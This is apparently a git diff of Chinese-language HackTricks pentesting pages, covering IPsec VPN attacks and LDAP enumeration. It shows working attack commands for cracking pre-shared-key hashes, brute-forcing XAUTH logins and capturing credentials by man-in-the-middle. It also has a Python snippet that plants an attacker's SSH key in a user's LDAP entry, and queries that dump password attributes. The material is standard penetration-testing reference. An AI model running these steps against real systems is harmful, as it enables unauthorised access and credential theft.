### 嗅探ID
|
### 嗅探ID
|
||||||
|
|
||||||
通过嗅探VPN客户端和服务器之间的连接,也可以获取有效的用户名,因为第一个激进模式数据包中包含的客户端ID是明文发送的(来自书籍《网络安全评估:了解您的网络》)。
|
同样,通过嗅探VPN客户端和服务器之间的连接,也可以获取有效的用户名,因为第一个激进模式数据包中包含客户端ID是明文传输的(来自书籍**网络安全评估:了解您的网络**)
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (111).png>)
|
![](<../.gitbook/assets/image (111).png>)
|
||||||
|
|
||||||
## 捕获和破解哈希值
|
## 捕获和破解哈希
|
||||||
|
|
||||||
最后,如果您找到了一个**有效的转换**和**组名**,并且**允许激进模式**,那么您可以非常容易地获取可破解的哈希值:
|
最后,如果您找到了一个**有效的转换**和**组名**,并且**允许激进模式**,那么您可以非常容易地获取可破解的哈希值:
|
||||||
```bash
|
```bash
|
||||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||||
```
|
```
|
||||||
哈希值将保存在 _hash.txt_ 文件中。
|
哈希将保存在 _hash.txt_ 中。
|
||||||
|
|
||||||
您可以使用 **psk-crack**、**john**(使用 [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py))和 **hashcat** 来 **破解**该哈希值:
|
您可以使用 **psk-crack**、**john**(使用 [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py))和 **hashcat** 来 **破解** 这个哈希:
|
||||||
```bash
|
```bash
|
||||||
psk-crack -d <Wordlist_path> psk.txt
|
psk-crack -d <Wordlist_path> psk.txt
|
||||||
```
|
```
|
||||||
## **XAuth**
|
## **XAuth**
|
||||||
|
|
||||||
大多数实现使用**预共享密钥的主动模式IKE进行组认证**,并使用**XAUTH提供额外的用户认证**(通过Microsoft Active Directory、RADIUS或类似方式)。在**IKEv2**中,**EAP替代XAUTH**用于认证用户。
|
大多数实现使用**带有PSK的主动模式IKE进行组认证**,并使用**XAUTH提供额外的用户认证**(通过Microsoft Active Directory、RADIUS或类似方式)。在**IKEv2**中,**EAP取代XAUTH**用于认证用户。
|
||||||
|
|
||||||
### 本地网络中间人攻击以捕获凭据
|
### 本地网络中间人攻击以捕获凭据
|
||||||
|
|
||||||
因此,您可以使用_fiked_捕获登录数据,并查看是否存在默认用户名(您需要将IKE流量重定向到`fiked`以进行嗅探,可以借助ARP欺骗来完成,[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked将充当VPN终端点,并捕获XAuth凭据:
|
因此,您可以使用 _fiked_ 捕获登录数据,并查看是否有任何默认用户名(您需要将IKE流量重定向到 `fiked` 进行嗅探,可以借助ARP欺骗来实现,[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked将充当VPN端点,并捕获XAuth凭据:
|
||||||
```bash
|
```bash
|
||||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||||
```
|
```
|
||||||
此外,使用IPSec尝试进行中间人攻击,并阻止所有流量到端口500,如果无法建立IPSec隧道,可能会以明文形式发送流量。
|
### 使用 IPSec 尝试进行中间人攻击,并阻止所有流量访问端口 500,如果 IPSec 隧道无法建立,可能会以明文形式发送流量。
|
||||||
|
|
||||||
### 使用ikeforce暴力破解XAUTH用户名和密码
|
### 使用 ikeforce 对 XAUTH 用户名和密码进行暴力破解
|
||||||
|
|
||||||
要暴力破解**XAUTH**(当您知道有效的组名**id**和**psk**时),您可以使用用户名或用户名列表以及密码列表:
|
要对 **XAUTH**(当您知道有效的组名 **id** 和 **psk** 时)进行暴力破解,您可以使用一个用户名或用户名列表以及一个密码列表:
|
||||||
```bash
|
```bash
|
||||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||||
```
|
```
|
||||||
这样,ikeforce将尝试使用每个用户名:密码组合进行连接。
|
这样,ikeforce 将尝试使用每个用户名:密码组合进行连接。
|
||||||
|
|
||||||
如果找到一个或多个有效的转换方式,就像之前的步骤一样使用它们。
|
如果找到一个或多个有效的 transforms,就像在前面的步骤中使用它们一样。
|
||||||
|
|
||||||
## 使用IPSEC VPN进行身份验证
|
## 使用 IPSEC VPN 进行身份验证
|
||||||
|
|
||||||
在Kali中,使用**VPNC**建立IPsec隧道。**配置文件**必须位于_**/etc/vpnc/**_中,您可以使用工具_**vpnc**_来调用它们。\
|
在 Kali 中,**VPNC** 用于建立 IPsec 隧道。**配置文件** 必须位于目录 `/etc/vpnc/` 中。您可以使用命令 _**vpnc**_ 来启动这些配置文件。
|
||||||
以下示例摘自书籍**Network Security Assessment 3rd Edition**:
|
|
||||||
```
|
以下命令和配置说明了使用 VPNC 建立 VPN 连接的过程:
|
||||||
root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP
|
```bash
|
||||||
IPSec gateway 10.0.0.250
|
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
||||||
IPSec ID vpntest
|
IPSec gateway [VPN_GATEWAY_IP]
|
||||||
IPSec secret groupsecret123
|
IPSec ID [VPN_CONNECTION_ID]
|
||||||
|
IPSec secret [VPN_GROUP_SECRET]
|
||||||
IKE Authmode psk
|
IKE Authmode psk
|
||||||
Xauth username chris
|
Xauth username [VPN_USERNAME]
|
||||||
Xauth password tiffers1
|
Xauth password [VPN_PASSWORD]
|
||||||
STOP
|
STOP
|
||||||
root@kali:~# vpnc vpntest
|
root@system:~# vpnc samplevpn
|
||||||
VPNC started in background (pid: 6980)...
|
VPNC started in background (pid: [PID])...
|
||||||
root@kali:~# ifconfig tun0
|
root@system:~# ifconfig tun0
|
||||||
```
|
```
|
||||||
|
在这个设置中:
|
||||||
|
|
||||||
|
- 用 VPN 网关的实际 IP 地址替换 `[VPN_GATEWAY_IP]`。
|
||||||
|
- 用 VPN 连接的标识符替换 `[VPN_CONNECTION_ID]`。
|
||||||
|
- 用 VPN 的组密码替换 `[VPN_GROUP_SECRET]`。
|
||||||
|
- 用 VPN 认证凭据替换 `[VPN_USERNAME]` 和 `[VPN_PASSWORD]`。
|
||||||
|
- `[PID]` 表示 `vpnc` 启动时将分配的进程 ID。
|
||||||
|
|
||||||
|
在配置 VPN 时,请确保使用实际的、安全的值来替换占位符。
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
|
|
||||||
* [PSK破解论文](http://www.ernw.de/download/pskattack.pdf)
|
* [PSK 破解论文](http://www.ernw.de/download/pskattack.pdf)
|
||||||
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
||||||
* [扫描VPN实现](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
* [扫描 VPN 实现](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||||||
|
* 《网络安全评估第三版》
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
|
@ -244,18 +255,20 @@ root@kali:~# ifconfig tun0
|
||||||
|
|
||||||
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
|
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
找到最重要的漏洞,以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天。
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,42 +1,42 @@
|
||||||
# 389, 636, 3268, 3269 - LDAP渗透测试
|
# 389, 636, 3268, 3269 - LDAP 渗透测试
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 如果你在一家**网络安全公司**工作,想在**HackTricks**上看到你的**公司广告**,或者想要获取**PEASS最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
|
||||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)。
|
- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
|
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
摘自:[https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
|
LDAP(轻量级目录访问协议)主要用于在网络中定位实体,如组织、个人和各种资源(例如文件、设备)。这可以是在互联网等公共平台上,也可以是在私人内部网络中。作为目录访问协议(DAP)的简化版本,LDAP 具有较小的代码占用空间。
|
||||||
|
|
||||||
LDAP(轻量级目录访问协议)是一种软件协议,用于使任何人都能够在网络中**定位**组织、个人和其他**资源**,如文件和设备,无论是在公共互联网上还是在企业内网上。LDAP是Directory Access Protocol(DAP)的"轻量级"(代码量更少)版本。
|
LDAP 目录的结构允许其分布在多个服务器上。在这些服务器的每个上,整个目录的复制形式存在,并且会定期进行同步。在这种情况下,LDAP 服务器被称为目录系统代理(DSA)。当用户向 LDAP 服务器发送请求时,服务器会对该请求负全部责任。这涉及与其他 DSA 进行通信(如果需要),但更重要的是,它确保用户收到单一、连贯的响应。
|
||||||
|
|
||||||
一个LDAP目录可以在许多服务器之间**分布**。每个服务器都可以有一个总目录的**复制**版本,该版本会定期进行**同步**。一个LDAP服务器被称为目录系统代理(DSA)。接收到用户请求的LDAP服务器负责该请求,必要时将其传递给其他DSA,但确保为用户提供一个协调的单一响应。
|
LDAP 目录的组织类似于简单的“树”层次结构,包括几个级别:
|
||||||
|
|
||||||
一个LDAP目录在组织上是一个简单的"树"层次结构,包括以下级别:
|
- 最高级别是根目录,充当树的起源或源头。
|
||||||
|
- 这分支到下一个级别,即国家。
|
||||||
|
- 每个国家进一步分为组织。
|
||||||
|
- 组织分为组织单位。这些单位可以代表不同的部门或部门。
|
||||||
|
- 最后一级包括个体实体。这不仅包括人员,还包括文件和打印机等共享资源。
|
||||||
|
|
||||||
* 根目录(树的起点或源头),它分支出去到
|
**默认端口:** 389 和 636(ldaps)。全局目录(ActiveDirectory 中的 LDAP)默认在端口 3268 上提供,LDAPS 则在端口 3269 上提供。
|
||||||
* 各个国家,每个国家又分支出去到
|
|
||||||
* 组织,它们又分支出去到
|
|
||||||
* 组织单位(部门、部门等),它们又分支出去到(包括条目)
|
|
||||||
* 个人(包括人员、文件和共享资源,如打印机)
|
|
||||||
|
|
||||||
**默认端口:**389和636(ldaps)。全局目录(ActiveDirectory中的LDAP)默认在端口3268和3269上可用于LDAPS。
|
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
389/tcp open ldap syn-ack
|
389/tcp open ldap syn-ack
|
||||||
636/tcp open tcpwrapped
|
636/tcp open tcpwrapped
|
||||||
```
|
```
|
||||||
### LDAP 数据交换格式
|
### LDAP数据交换格式
|
||||||
|
|
||||||
LDIF(LDAP 数据交换格式)将目录内容定义为一组记录。它还可以表示更新请求(添加、修改、删除、重命名)。
|
LDIF(LDAP数据交换格式)将目录内容定义为一组记录。它还可以表示更新请求(添加、修改、删除、重命名)。
|
||||||
```bash
|
```bash
|
||||||
dn: dc=local
|
dn: dc=local
|
||||||
dc: local
|
dc: local
|
||||||
|
@ -66,14 +66,15 @@ mail: pepe@hacktricks.xyz
|
||||||
phone: 23627387495
|
phone: 23627387495
|
||||||
```
|
```
|
||||||
* 第1-3行定义了顶级域local
|
* 第1-3行定义了顶级域local
|
||||||
* 第5-8行定义了一级域moneycorp(moneycorp.local)
|
* 第5-8行定义了第一级域moneycorp(moneycorp.local)
|
||||||
* 第10-16行定义了两个组织单位:dev和sales
|
* 第10-16行定义了2个组织单位:dev和sales
|
||||||
* 第18-26行创建了一个域对象并为其分配了带有值的属性
|
* 第18-26行创建了一个域对象,并分配了带有值的属性
|
||||||
|
|
||||||
## 写入数据
|
## 写入数据
|
||||||
|
|
||||||
请注意,如果您可以修改值,您可能能够执行一些非常有趣的操作。例如,想象一下,如果您**可以更改用户或任何用户的"sshPublicKey"信息**。如果这个属性存在,那么很有可能**ssh正在从LDAP读取公钥**。如果您可以修改用户的公钥,即使在ssh中没有启用密码认证,您**也将能够以该用户身份登录**。
|
请注意,如果您可以修改值,您可能能够执行非常有趣的操作。例如,想象一下,您**可以更改您的用户或任何用户的"sshPublicKey"信息**。如果存在这个属性,那么**ssh很可能正在从LDAP读取公钥**。如果您可以修改用户的公钥,即使在ssh中未启用密码身份验证,您**也将能够以该用户身份登录**。
|
||||||
```bash
|
```bash
|
||||||
|
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||||
>>> import ldap3
|
>>> import ldap3
|
||||||
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
|
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
|
||||||
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
|
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
|
||||||
|
@ -83,30 +84,30 @@ True
|
||||||
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||||||
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
||||||
```
|
```
|
||||||
## 嗅探明文凭证
|
## 窃取明文凭证
|
||||||
|
|
||||||
如果LDAP未使用SSL,你可以在网络中**嗅探明文凭证**。
|
如果LDAP在没有SSL的情况下使用,您可以在网络中**窃取明文凭证**。
|
||||||
|
|
||||||
此外,你可以在**LDAP服务器和客户端之间**的网络中执行**MITM**攻击。在这里,你可以进行**降级攻击**,使客户端使用**明文凭证**登录。
|
此外,您可以在LDAP服务器和客户端之间的网络中执行**中间人攻击**。在这里,您可以进行**降级攻击**,使客户端使用**明文凭证**进行登录。
|
||||||
|
|
||||||
**如果使用了SSL**,你可以尝试执行上述的**MITM**攻击,但提供一个**假证书**,如果**用户接受了它**,你就能降级认证方法并再次看到凭证。
|
**如果使用SSL**,您可以尝试进行**中间人攻击**,就像上面提到的那样,但提供一个**伪证书**,如果**用户接受**它,您可以降级认证方法并再次查看凭证。
|
||||||
|
|
||||||
## 匿名访问
|
## 匿名访问
|
||||||
|
|
||||||
### 绕过TLS SNI检查
|
### 绕过TLS SNI检查
|
||||||
|
|
||||||
根据[**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/),仅通过使用任意域名(如company.com)访问LDAP服务器,作者能够作为匿名用户联系LDAP服务并提取信息:
|
根据[**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/),只需使用任意域名(如company.com)访问LDAP服务器,他就能够以匿名用户的身份联系LDAP服务并提取信息:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||||
```
|
```
|
||||||
### LDAP匿名绑定
|
### LDAP匿名绑定
|
||||||
|
|
||||||
[LDAP匿名绑定](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)允许**未经认证的攻击者**检索域中的信息,例如用户、组、计算机的完整列表,用户账户属性,以及域密码策略。这是一种**遗留配置**,自Windows Server 2003起,只有经过认证的用户才被允许发起LDAP请求。\
|
[LDAP匿名绑定](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)允许**未经身份验证的攻击者**从域中检索信息,例如完整的用户、组、计算机、用户帐户属性和域密码策略列表。这是一个**传统配置**,自Windows Server 2003起,只有经过身份验证的用户才被允许发起LDAP请求。\
|
||||||
然而,管理员可能需要**为特定应用程序设置允许匿名绑定**,并且无意中提供了超出预期的访问权限,从而使未经认证的用户能够访问AD中的所有对象。
|
然而,管理员可能需要**设置特定应用程序以允许匿名绑定**并提供比预期更多的访问权限,从而使未经身份验证的用户可以访问AD中的所有对象。
|
||||||
|
|
||||||
## 有效凭证
|
## 有效凭据
|
||||||
|
|
||||||
如果您拥有登录LDAP服务器的有效凭证,您可以使用以下工具导出有关域管理员的所有信息:
|
如果您有有效凭据登录LDAP服务器,您可以使用以下命令转储有关域管理员的所有信息:
|
||||||
|
|
||||||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||||||
```bash
|
```bash
|
||||||
|
@ -127,11 +128,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>查看使用 Python 进行 LDAP 枚举</summary>
|
<summary>使用Python进行LDAP枚举</summary>
|
||||||
|
|
||||||
您可以尝试**使用或不使用凭证通过 Python 枚举 LDAP**:`pip3 install ldap3`
|
您可以尝试使用Python**带有或不带有凭据枚举LDAP**:`pip3 install ldap3`
|
||||||
|
|
||||||
首先尝试**不使用**凭证连接:
|
首先尝试**无需**凭据连接:
|
||||||
```bash
|
```bash
|
||||||
>>> import ldap3
|
>>> import ldap3
|
||||||
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
||||||
|
@ -140,7 +141,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||||
True
|
True
|
||||||
>>> server.info
|
>>> server.info
|
||||||
```
|
```
|
||||||
如果响应是`True`,如前面的例子所示,你可以从以下位置获取LDAP(如**命名上下文**或**域名**)服务器的一些**有趣数据**:
|
如果响应为 `True`,就像前面的示例一样,您可以从 LDAP 服务器中获取一些**有趣的数据**(如**命名上下文**或**域名**):
|
||||||
```bash
|
```bash
|
||||||
>>> server.info
|
>>> server.info
|
||||||
DSA info (from DSE):
|
DSA info (from DSE):
|
||||||
|
@ -148,15 +149,13 @@ Supported LDAP versions: 3
|
||||||
Naming contexts:
|
Naming contexts:
|
||||||
dc=DOMAIN,dc=DOMAIN
|
dc=DOMAIN,dc=DOMAIN
|
||||||
```
|
```
|
||||||
```markdown
|
一旦您获得命名上下文,您可以进行一些更令人兴奋的查询。这个简单的查询应该向您显示目录中的所有对象:
|
||||||
一旦你有了命名上下文,你就可以进行一些更加令人兴奋的查询。这个简单的查询应该会显示目录中的所有对象:
|
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||||||
True
|
True
|
||||||
>> connection.entries
|
>> connection.entries
|
||||||
```
|
```
|
||||||
或者**导出**整个ldap:
|
或者**转储**整个ldap:
|
||||||
```bash
|
```bash
|
||||||
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
||||||
True
|
True
|
||||||
|
@ -166,7 +165,7 @@ True
|
||||||
|
|
||||||
### windapsearch
|
### windapsearch
|
||||||
|
|
||||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) \*\*\*\* 是一个 Python 脚本,通过使用 LDAP 查询,可以有效地从 Windows 域中**枚举用户、组和计算机**。
|
[**Windapsearch**](https://github.com/ropnop/windapsearch) 是一个使用 LDAP 查询来枚举 Windows 域中的用户、组和计算机的 Python 脚本。
|
||||||
```bash
|
```bash
|
||||||
# Get computers
|
# Get computers
|
||||||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||||||
|
@ -181,7 +180,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
|
||||||
```
|
```
|
||||||
### ldapsearch
|
### ldapsearch
|
||||||
|
|
||||||
检查空凭证或您的凭证是否有效:
|
检查空凭据或验证您的凭据是否有效:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
|
@ -194,9 +193,9 @@ result: 1 Operations error
|
||||||
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||||||
tion a successful bind must be completed on the connection., data 0, v3839
|
tion a successful bind must be completed on the connection., data 0, v3839
|
||||||
```
|
```
|
||||||
如果你发现某些内容显示“_bind must be completed_”意味着凭证不正确。
|
如果发现有关“_bind必须完成_”的内容,意味着凭据不正确。
|
||||||
|
|
||||||
你可以使用以下方法从一个域中提取**所有信息**:
|
您可以使用以下方法提取**域中的所有内容**:
|
||||||
```bash
|
```bash
|
||||||
